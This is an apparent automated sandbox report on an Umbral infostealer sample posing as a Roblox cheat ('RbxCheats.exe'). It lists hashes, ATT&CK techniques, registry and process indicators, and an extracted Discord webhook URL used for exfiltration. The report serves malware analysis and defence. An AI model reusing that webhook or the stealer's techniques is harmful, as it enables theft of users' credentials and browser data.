umbral | 81046d6d4e474115dd898d8e4718bc2ba144928461baa26e23f26d73d8e3f2f7

Resubmissions

07/08/2023, 19:00

230807-xnsecaad4s 10

29/06/2023, 17:04

230629-vljy3sec74 10

Analysis

max time kernel
142s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
07/08/2023, 19:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RbxCheats.exe
Size

217KB
MD5

84fe5aaf9d71e59205c851af53d6a1c7
SHA1

1b93e136c567dce28cccd900a02b694d9f488d86
SHA256

81046d6d4e474115dd898d8e4718bc2ba144928461baa26e23f26d73d8e3f2f7
SHA512

db3bfcbccd1b6e22754fd40841f2b2f0d229852879ab1c10e214d8185e5c29f8a8d3e318182c80a2887cf77f7e59aa3e95088b2901eb96720afd9e4f7d775a2d
SSDEEP

3072:WlP/chtWkOIGSAvD6vdnsUSaNZZDOAuIXk0IIIIIIEIIIIIIIIIIIlTIIIIIIIII:OcyHIGadsUSsZDO7+8eNHpDS

Score

10^/10

umbral persistence spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1114960943219220510/5HQkJAaQ8k16LLJDPfrNPOSWhB6mOuQyVoiVmSfQ92mfYSQoRiYi30V3oB1Cxv1kgZoS

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/memory/2556-133-0x00000265CB8D0000-0x00000265CB90C000-memory.dmp	family_umbral
behavioral2/files/0x00090000000231c9-260.dat	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Modifies Installed Components in the registry 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Active Setup\Installed Components\>{22d6f312-b0f6-11d0-94ab-0080c74c7e95}	unregmp2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\>{22d6f312-b0f6-11d0-94ab-0080c74c7e95}\DontAsk = "2"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\>{22d6f312-b0f6-11d0-94ab-0080c74c7e95}\Version = "12,0,19041,1266"	unregmp2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\>{22d6f312-b0f6-11d0-94ab-0080c74c7e95}\IsInstalled = "0"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\>{22d6f312-b0f6-11d0-94ab-0080c74c7e95}\Stubpath = "%SystemRoot%\\system32\\unregmp2.exe /ShowWMP"	unregmp2.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini	unregmp2.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	unregmp2.exe
File opened (read-only)	\??\Z:	unregmp2.exe
File opened (read-only)	\??\Q:	wmplayer.exe
File opened (read-only)	\??\T:	wmplayer.exe
File opened (read-only)	\??\U:	wmplayer.exe
File opened (read-only)	\??\I:	unregmp2.exe
File opened (read-only)	\??\O:	unregmp2.exe
File opened (read-only)	\??\B:	wmplayer.exe
File opened (read-only)	\??\E:	wmplayer.exe
File opened (read-only)	\??\G:	wmplayer.exe
File opened (read-only)	\??\I:	wmplayer.exe
File opened (read-only)	\??\W:	wmplayer.exe
File opened (read-only)	\??\E:	unregmp2.exe
File opened (read-only)	\??\K:	unregmp2.exe
File opened (read-only)	\??\L:	unregmp2.exe
File opened (read-only)	\??\U:	unregmp2.exe
File opened (read-only)	\??\K:	wmplayer.exe
File opened (read-only)	\??\B:	unregmp2.exe
File opened (read-only)	\??\N:	unregmp2.exe
File opened (read-only)	\??\H:	wmplayer.exe
File opened (read-only)	\??\J:	wmplayer.exe
File opened (read-only)	\??\O:	wmplayer.exe
File opened (read-only)	\??\S:	wmplayer.exe
File opened (read-only)	\??\V:	wmplayer.exe
File opened (read-only)	\??\X:	wmplayer.exe
File opened (read-only)	\??\M:	unregmp2.exe
File opened (read-only)	\??\G:	unregmp2.exe
File opened (read-only)	\??\J:	unregmp2.exe
File opened (read-only)	\??\P:	unregmp2.exe
File opened (read-only)	\??\R:	unregmp2.exe
File opened (read-only)	\??\M:	wmplayer.exe
File opened (read-only)	\??\Y:	wmplayer.exe
File opened (read-only)	\??\A:	unregmp2.exe
File opened (read-only)	\??\Q:	unregmp2.exe
File opened (read-only)	\??\H:	unregmp2.exe
File opened (read-only)	\??\W:	unregmp2.exe
File opened (read-only)	\??\Y:	unregmp2.exe
File opened (read-only)	\??\L:	wmplayer.exe
File opened (read-only)	\??\N:	wmplayer.exe
File opened (read-only)	\??\T:	unregmp2.exe
File opened (read-only)	\??\X:	unregmp2.exe
File opened (read-only)	\??\A:	wmplayer.exe
File opened (read-only)	\??\P:	wmplayer.exe
File opened (read-only)	\??\R:	wmplayer.exe
File opened (read-only)	\??\Z:	wmplayer.exe
File opened (read-only)	\??\V:	unregmp2.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Media Player\wmplayer.exe	unregmp2.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
408	wmic.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\video\shellex\ContextMenuHandlers\PlayTo\ = "{7AD84985-87B4-4a16-BE58-8B72A5B390F7}"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaRenderer:1\ShellEx\ContextMenuHandlers\{A45AEC2B-549E-405F-AF3E-C6B03C4FDFBF}	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shell\Enqueue\NeverDefault	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Enqueue\ = "&Add to Windows Media Player list"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shell\Play\command	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Enqueue\ = "&Add to Windows Media Player list"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Play\NeverDefault	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shellex\ContextMenuHandlers\PlayTo	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Play\command	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shell\Play\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9801"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Play\ = "&Play with Windows Media Player"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Play\command	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shell\Enqueue\command\DelegateExecute = "{45597c98-80f6-4549-84ff-752cf55e2d29}"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shellex\ContextMenuHandlers\PlayTo	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\image\shellex\ContextMenuHandlers\PlayTo	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Enqueue\command\DelegateExecute = "{45597c98-80f6-4549-84ff-752cf55e2d29}"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Enqueue	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shell\Enqueue	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shellex\ContextMenuHandlers\PlayTo	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shellex\ContextMenuHandlers\PlayTo\ = "{7AD84985-87B4-4a16-BE58-8B72A5B390F7}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shellex\ContextMenuHandlers\PlayTo\ = "{7AD84985-87B4-4a16-BE58-8B72A5B390F7}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shell\Enqueue\command\DelegateExecute = "{45597c98-80f6-4549-84ff-752cf55e2d29}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Play\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9801"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shell\Enqueue	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shell\Enqueue	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Enqueue\command\DelegateExecute = "{45597c98-80f6-4549-84ff-752cf55e2d29}"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Play	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Play\ = "&Play with Windows Media Player"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Enqueue\NeverDefault	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shell\Play\NeverDefault	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Video\shellex\ContextMenuHandlers\PlayTo	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaRenderer:1\ShellEx\ContextMenuHandlers\{17FC1A80-140E-4290-A64F-4A29A951A867}\ = "Open Media Sharing Handler"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shell\Play\command\DelegateExecute = "{ed1d0fdf-4414-470a-a56d-cfb68623fc58}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shell\Play\NeverDefault	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shell\Enqueue\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9800"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shellex\ContextMenuHandlers\PlayTo	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaRenderer:1\ShellEx\ContextMenuHandlers\{A45AEC2B-549E-405F-AF3E-C6B03C4FDFBF}\ = "Toggle DMR Authorization Handler"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shell\Play	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shell\Play\ = "&Play with Windows Media Player"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Enqueue\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9800"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Enqueue\command	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shell\Enqueue\NeverDefault	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shell\Play\NeverDefault	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Enqueue\NeverDefault	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Enqueue\command	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Play\command\DelegateExecute = "{ed1d0fdf-4414-470a-a56d-cfb68623fc58}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shell\Enqueue\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9800"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shell\Play\ = "&Play with Windows Media Player"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shell\Play\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9801"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shellex\ContextMenuHandlers\PlayTo\ = "{7AD84985-87B4-4a16-BE58-8B72A5B390F7}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shellex\ContextMenuHandlers\PlayTo\ = "{7AD84985-87B4-4a16-BE58-8B72A5B390F7}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shell\Play\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9801"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Enqueue	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Enqueue\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9800"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Play\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9801"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Video\shellex\ContextMenuHandlers\PlayTo\ = "{7AD84985-87B4-4a16-BE58-8B72A5B390F7}"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaRenderer:1\ShellEx\ContextMenuHandlers\{17FC1A80-140E-4290-A64F-4A29A951A867}	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shell\Enqueue\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9800"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Play	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shell\Play	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shellex\ContextMenuHandlers\PlayTo\ = "{7AD84985-87B4-4a16-BE58-8B72A5B390F7}"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shellex\ContextMenuHandlers\PlayTo	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Video\shellex\ContextMenuHandlers\PlayTo\ = "{7AD84985-87B4-4a16-BE58-8B72A5B390F7}"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shell\Play\command	unregmp2.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1688	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
2684	powershell.exe
2684	powershell.exe
4464	powershell.exe
4464	powershell.exe
3732	powershell.exe
3732	powershell.exe
3568	powershell.exe
3568	powershell.exe
3700	powershell.exe
3700	powershell.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1596	msedge.exe
1596	msedge.exe
2168	msedge.exe
2168	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
2168	msedge.exe
2168	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2556	RbxCheats.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeIncreaseQuotaPrivilege	2384	wmic.exe
Token: SeSecurityPrivilege	2384	wmic.exe
Token: SeTakeOwnershipPrivilege	2384	wmic.exe
Token: SeLoadDriverPrivilege	2384	wmic.exe
Token: SeSystemProfilePrivilege	2384	wmic.exe
Token: SeSystemtimePrivilege	2384	wmic.exe
Token: SeProfSingleProcessPrivilege	2384	wmic.exe
Token: SeIncBasePriorityPrivilege	2384	wmic.exe
Token: SeCreatePagefilePrivilege	2384	wmic.exe
Token: SeBackupPrivilege	2384	wmic.exe
Token: SeRestorePrivilege	2384	wmic.exe
Token: SeShutdownPrivilege	2384	wmic.exe
Token: SeDebugPrivilege	2384	wmic.exe
Token: SeSystemEnvironmentPrivilege	2384	wmic.exe
Token: SeRemoteShutdownPrivilege	2384	wmic.exe
Token: SeUndockPrivilege	2384	wmic.exe
Token: SeManageVolumePrivilege	2384	wmic.exe
Token: 33	2384	wmic.exe
Token: 34	2384	wmic.exe
Token: 35	2384	wmic.exe
Token: 36	2384	wmic.exe
Token: SeIncreaseQuotaPrivilege	2384	wmic.exe
Token: SeSecurityPrivilege	2384	wmic.exe
Token: SeTakeOwnershipPrivilege	2384	wmic.exe
Token: SeLoadDriverPrivilege	2384	wmic.exe
Token: SeSystemProfilePrivilege	2384	wmic.exe
Token: SeSystemtimePrivilege	2384	wmic.exe
Token: SeProfSingleProcessPrivilege	2384	wmic.exe
Token: SeIncBasePriorityPrivilege	2384	wmic.exe
Token: SeCreatePagefilePrivilege	2384	wmic.exe
Token: SeBackupPrivilege	2384	wmic.exe
Token: SeRestorePrivilege	2384	wmic.exe
Token: SeShutdownPrivilege	2384	wmic.exe
Token: SeDebugPrivilege	2384	wmic.exe
Token: SeSystemEnvironmentPrivilege	2384	wmic.exe
Token: SeRemoteShutdownPrivilege	2384	wmic.exe
Token: SeUndockPrivilege	2384	wmic.exe
Token: SeManageVolumePrivilege	2384	wmic.exe
Token: 33	2384	wmic.exe
Token: 34	2384	wmic.exe
Token: 35	2384	wmic.exe
Token: 36	2384	wmic.exe
Token: SeIncreaseQuotaPrivilege	1600	wmic.exe
Token: SeSecurityPrivilege	1600	wmic.exe
Token: SeTakeOwnershipPrivilege	1600	wmic.exe
Token: SeLoadDriverPrivilege	1600	wmic.exe
Token: SeSystemProfilePrivilege	1600	wmic.exe
Token: SeSystemtimePrivilege	1600	wmic.exe
Token: SeProfSingleProcessPrivilege	1600	wmic.exe
Token: SeIncBasePriorityPrivilege	1600	wmic.exe
Token: SeCreatePagefilePrivilege	1600	wmic.exe
Token: SeBackupPrivilege	1600	wmic.exe
Token: SeRestorePrivilege	1600	wmic.exe
Token: SeShutdownPrivilege	1600	wmic.exe
Token: SeDebugPrivilege	1600	wmic.exe
Token: SeSystemEnvironmentPrivilege	1600	wmic.exe
Token: SeRemoteShutdownPrivilege	1600	wmic.exe
Token: SeUndockPrivilege	1600	wmic.exe
Token: SeManageVolumePrivilege	1600	wmic.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
1956	taskmgr.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe
2168	msedge.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
1688	POWERPNT.EXE
1688	POWERPNT.EXE
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe
5104	narrator.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 2684	2556	RbxCheats.exe	81
PID 2556 wrote to memory of 2684	2556	RbxCheats.exe	81
PID 2556 wrote to memory of 4464	2556	RbxCheats.exe	83
PID 2556 wrote to memory of 4464	2556	RbxCheats.exe	83
PID 2556 wrote to memory of 3732	2556	RbxCheats.exe	85
PID 2556 wrote to memory of 3732	2556	RbxCheats.exe	85
PID 2556 wrote to memory of 3568	2556	RbxCheats.exe	88
PID 2556 wrote to memory of 3568	2556	RbxCheats.exe	88
PID 2556 wrote to memory of 2384	2556	RbxCheats.exe	92
PID 2556 wrote to memory of 2384	2556	RbxCheats.exe	92
PID 2556 wrote to memory of 1600	2556	RbxCheats.exe	95
PID 2556 wrote to memory of 1600	2556	RbxCheats.exe	95
PID 2556 wrote to memory of 3972	2556	RbxCheats.exe	97
PID 2556 wrote to memory of 3972	2556	RbxCheats.exe	97
PID 2556 wrote to memory of 3700	2556	RbxCheats.exe	99
PID 2556 wrote to memory of 3700	2556	RbxCheats.exe	99
PID 2556 wrote to memory of 408	2556	RbxCheats.exe	102
PID 2556 wrote to memory of 408	2556	RbxCheats.exe	102
PID 2168 wrote to memory of 1476	2168	msedge.exe	113
PID 2168 wrote to memory of 1476	2168	msedge.exe	113
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 5024	2168	msedge.exe	114
PID 2168 wrote to memory of 1596	2168	msedge.exe	115
PID 2168 wrote to memory of 1596	2168	msedge.exe	115
PID 2168 wrote to memory of 3824	2168	msedge.exe	116
PID 2168 wrote to memory of 3824	2168	msedge.exe	116

C:\Users\Admin\AppData\Local\Temp\RbxCheats.exe
"C:\Users\Admin\AppData\Local\Temp\RbxCheats.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
